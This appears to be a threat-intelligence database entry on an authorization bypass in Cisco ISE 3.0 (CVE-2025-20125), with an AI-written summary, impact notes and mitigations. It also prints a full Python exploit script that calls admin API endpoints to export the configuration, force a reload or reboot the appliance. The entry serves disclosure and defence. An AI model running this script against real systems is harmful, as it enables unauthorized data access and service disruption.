Cisco ISE 3.0 - Authorization Bypass
Cisco ISE 3.0 - Authorization Bypass
AI Analysis
Technical Summary
The reported security threat concerns an authorization bypass vulnerability in Cisco Identity Services Engine (ISE) version 3.0. Cisco ISE is a widely deployed network security policy management and access control platform used to enforce security policies for endpoint devices and users within enterprise networks. An authorization bypass vulnerability allows an attacker to circumvent the normal access control mechanisms, potentially granting unauthorized access to restricted functionalities or sensitive data within the Cisco ISE system. Given that the exploit is categorized as remote, it implies that an attacker can exploit this vulnerability over the network without requiring physical access to the device. The presence of publicly available exploit code written in Python further increases the risk, as it lowers the barrier for attackers to develop and launch attacks. Although no specific affected versions are listed beyond Cisco ISE 3.0, the lack of patch links suggests that a fix may not yet be publicly available or widely deployed. The vulnerability could be exploited by an attacker to manipulate network access policies, gain elevated privileges, or disrupt network security enforcement, potentially impacting the integrity and confidentiality of network operations managed by Cisco ISE.
Potential Impact
For European organizations, the impact of this authorization bypass vulnerability in Cisco ISE 3.0 can be significant. Cisco ISE is often used in large enterprises, government agencies, and critical infrastructure sectors across Europe to manage network access and enforce security policies. Exploitation could allow unauthorized users or malicious actors to gain elevated privileges, alter access controls, or disable security policies, leading to unauthorized network access or lateral movement within the network. This could result in data breaches, exposure of sensitive information, or disruption of network services. Given the reliance on Cisco ISE for network segmentation and endpoint compliance, the vulnerability could undermine the overall security posture of affected organizations, increasing the risk of further attacks such as ransomware or espionage. The absence of known exploits in the wild currently provides some respite, but the availability of exploit code means that this could change rapidly.
Mitigation Recommendations
European organizations should prioritize the following mitigation steps: 1) Immediately review Cisco ISE 3.0 deployments and restrict access to the management interfaces to trusted administrators only, ideally through network segmentation and VPNs. 2) Monitor Cisco’s security advisories closely for patches or updates addressing this vulnerability and apply them promptly once available. 3) Implement strict role-based access controls (RBAC) within Cisco ISE to limit the potential impact of any authorization bypass. 4) Employ network intrusion detection and prevention systems (IDS/IPS) to detect anomalous activities targeting Cisco ISE. 5) Conduct regular audits of Cisco ISE logs and configurations to identify unauthorized changes or access attempts. 6) Consider deploying multi-factor authentication (MFA) for administrative access to Cisco ISE to reduce the risk of credential compromise. 7) Educate network security teams about this vulnerability and the presence of exploit code to enhance vigilance and incident response readiness.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Belgium, Sweden
Indicators of Compromise
- exploit-code: # Exploit Title: Cisco ISE 3.0 - Authorization Bypass # Exploit Author: @ibrahimsql ibrahimsql.com # Exploit Author's github: https://github.com/ibrahmsql # Description: Cisco ISE API Authorization Bypass # CVE: CVE-2025-20125 # Vendor Homepage: https://www.cisco.com/ # Requirements: requests>=2.25.0, urllib3>=1.26.0 # Usage: python3 CVE-2025-20125.py --url https://ise.target.com --session TOKEN --read #!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import sys import argparse import urllib3 urllib3.disable_warnings() def banner(): print(r""" ___ ____ ___ ___ _____ ____ ___ ____ / __)(_ _)/ __) / __)( _ ) (_ _)/ __)( ___) ( (__ _)(_ \__ \( (__ )(_)( _)(_ \__ \ )__) \___)(____)(___/ \___)(_____) (____)(___/(____) Cisco ISE Authorization Bypass CVE-2025-20125 Author: ibrahmsql | github.com/ibrahmsql """) def exploit_config_read(base_url, session_token): """ CVE-2025-20125: Read sensitive configuration """ endpoint = f"{base_url}/api/v1/admin/config/export" headers = { "Cookie": f"ISESSIONID={session_token}", "User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)" } print(f"[+] Attempting to read configuration from: {endpoint}") try: r = requests.get(endpoint, headers=headers, verify=False, timeout=10) if r.status_code == 200: print("[+] Configuration read successful!") print(f"[+] Response length: {len(r.text)} bytes") if r.text: print(f"[+] Config preview: {r.text[:300]}...") return True else: print(f"[-] Config read failed: {r.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_config_reload(base_url, session_token): """ CVE-2025-20125: Force configuration reload """ endpoint = f"{base_url}/api/v1/admin/reload" headers = { "Cookie": f"ISESSIONID={session_token}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)" } print(f"[+] Sending config reload request to: {endpoint}") try: r = requests.post(endpoint, headers=headers, verify=False, timeout=10) if r.status_code in (200, 204): print("[+] Configuration reload accepted!") print("[+] System may be restarting services...") return True elif r.status_code == 401: print("[-] Authentication failed - invalid session token") elif r.status_code == 403: print("[-] Access denied - insufficient privileges") else: print(f"[-] Reload failed: {r.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_system_reboot(base_url, session_token): """ CVE-2025-20125: Force system reboot """ endpoint = f"{base_url}/api/v1/admin/reboot" headers = { "Cookie": f"ISESSIONID={session_token}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)" } print(f"[+] Sending system reboot request to: {endpoint}") print("[!] WARNING: This will reboot the target system!") try: r = requests.post(endpoint, headers=headers, verify=False, timeout=10) if r.status_code in (200, 204): print("[+] System reboot initiated!") print("[+] Target system should be rebooting now...") return True else: print(f"[-] Reboot failed: {r.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def main(): parser = argparse.ArgumentParser( description="CVE-2025-20125 - Cisco ISE Authorization Bypass", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 CVE-2025-20125.py --url https://ise.company.com --session ABCD1234 --read python3 CVE-2025-20125.py --url https://10.0.0.1:9060 --session TOKEN123 --reload python3 CVE-2025-20125.py --url https://ise.target.com --session XYZ789 --reboot """ ) parser.add_argument("--url", required=True, help="Base URL of Cisco ISE appliance") parser.add_argument("--session", required=True, help="Authenticated ISE session token") parser.add_argument("--read", action="store_true", help="Read sensitive configuration") parser.add_argument("--reload", action="store_true", help="Force configuration reload") parser.add_argument("--reboot", action="store_true", help="Force system reboot") args = parser.parse_args() banner() # URL validation if not args.url.startswith(('http://', 'https://')): print("[-] URL must start with http:// or https://") sys.exit(1) # At least one action must be specified if not any([args.read, args.reload, args.reboot]): print("[-] Specify at least one action: --read, --reload, or --reboot") sys.exit(1) success = False if args.read: success |= exploit_config_read(args.url, args.session) if args.reload: success |= exploit_config_reload(args.url, args.session) if args.reboot: # Confirm reboot action confirm = input("[!] Are you sure you want to reboot the target? (y/N): ") if confirm.lower() in ['y', 'yes']: success |= exploit_system_reboot(args.url, args.session) else: print("[-] Reboot cancelled by user") if success: print("\n[+] At least one exploit succeeded!") else: print("\n[-] All exploits failed") sys.exit(1) if __name__ == "__main__": main()
Cisco ISE 3.0 - Authorization Bypass
Description
Cisco ISE 3.0 - Authorization Bypass
AI-Powered Analysis
Technical Analysis
The reported security threat concerns an authorization bypass vulnerability in Cisco Identity Services Engine (ISE) version 3.0. Cisco ISE is a widely deployed network security policy management and access control platform used to enforce security policies for endpoint devices and users within enterprise networks. An authorization bypass vulnerability allows an attacker to circumvent the normal access control mechanisms, potentially granting unauthorized access to restricted functionalities or sensitive data within the Cisco ISE system. Given that the exploit is categorized as remote, it implies that an attacker can exploit this vulnerability over the network without requiring physical access to the device. The presence of publicly available exploit code written in Python further increases the risk, as it lowers the barrier for attackers to develop and launch attacks. Although no specific affected versions are listed beyond Cisco ISE 3.0, the lack of patch links suggests that a fix may not yet be publicly available or widely deployed. The vulnerability could be exploited by an attacker to manipulate network access policies, gain elevated privileges, or disrupt network security enforcement, potentially impacting the integrity and confidentiality of network operations managed by Cisco ISE.
Potential Impact
For European organizations, the impact of this authorization bypass vulnerability in Cisco ISE 3.0 can be significant. Cisco ISE is often used in large enterprises, government agencies, and critical infrastructure sectors across Europe to manage network access and enforce security policies. Exploitation could allow unauthorized users or malicious actors to gain elevated privileges, alter access controls, or disable security policies, leading to unauthorized network access or lateral movement within the network. This could result in data breaches, exposure of sensitive information, or disruption of network services. Given the reliance on Cisco ISE for network segmentation and endpoint compliance, the vulnerability could undermine the overall security posture of affected organizations, increasing the risk of further attacks such as ransomware or espionage. The absence of known exploits in the wild currently provides some respite, but the availability of exploit code means that this could change rapidly.
Mitigation Recommendations
European organizations should prioritize the following mitigation steps: 1) Immediately review Cisco ISE 3.0 deployments and restrict access to the management interfaces to trusted administrators only, ideally through network segmentation and VPNs. 2) Monitor Cisco’s security advisories closely for patches or updates addressing this vulnerability and apply them promptly once available. 3) Implement strict role-based access controls (RBAC) within Cisco ISE to limit the potential impact of any authorization bypass. 4) Employ network intrusion detection and prevention systems (IDS/IPS) to detect anomalous activities targeting Cisco ISE. 5) Conduct regular audits of Cisco ISE logs and configurations to identify unauthorized changes or access attempts. 6) Consider deploying multi-factor authentication (MFA) for administrative access to Cisco ISE to reduce the risk of credential compromise. 7) Educate network security teams about this vulnerability and the presence of exploit code to enhance vigilance and incident response readiness.
Affected Countries
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Technical Details
- Edb Id
- 52397
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Cisco ISE 3.0 - Authorization Bypass
# Exploit Title: Cisco ISE 3.0 - Authorization Bypass # Exploit Author: @ibrahimsql ibrahimsql.com # Exploit Author's github: https://github.com/ibrahmsql # Description: Cisco ISE API Authorization Bypass # CVE: CVE-2025-20125 # Vendor Homepage: https://www.cisco.com/ # Requirements: requests>=2.25.0, urllib3>=1.26.0 # Usage: python3 CVE-2025-20125.py --url https://ise.target.com --session TOKEN --read #!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import sys import argparse im... (5551 more characters)
Threat ID: 689a95b8ad5a09ad002b09ad
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 9/4/2025, 1:40:38 AM
Last updated: 9/25/2025, 6:58:01 PM
Views: 55
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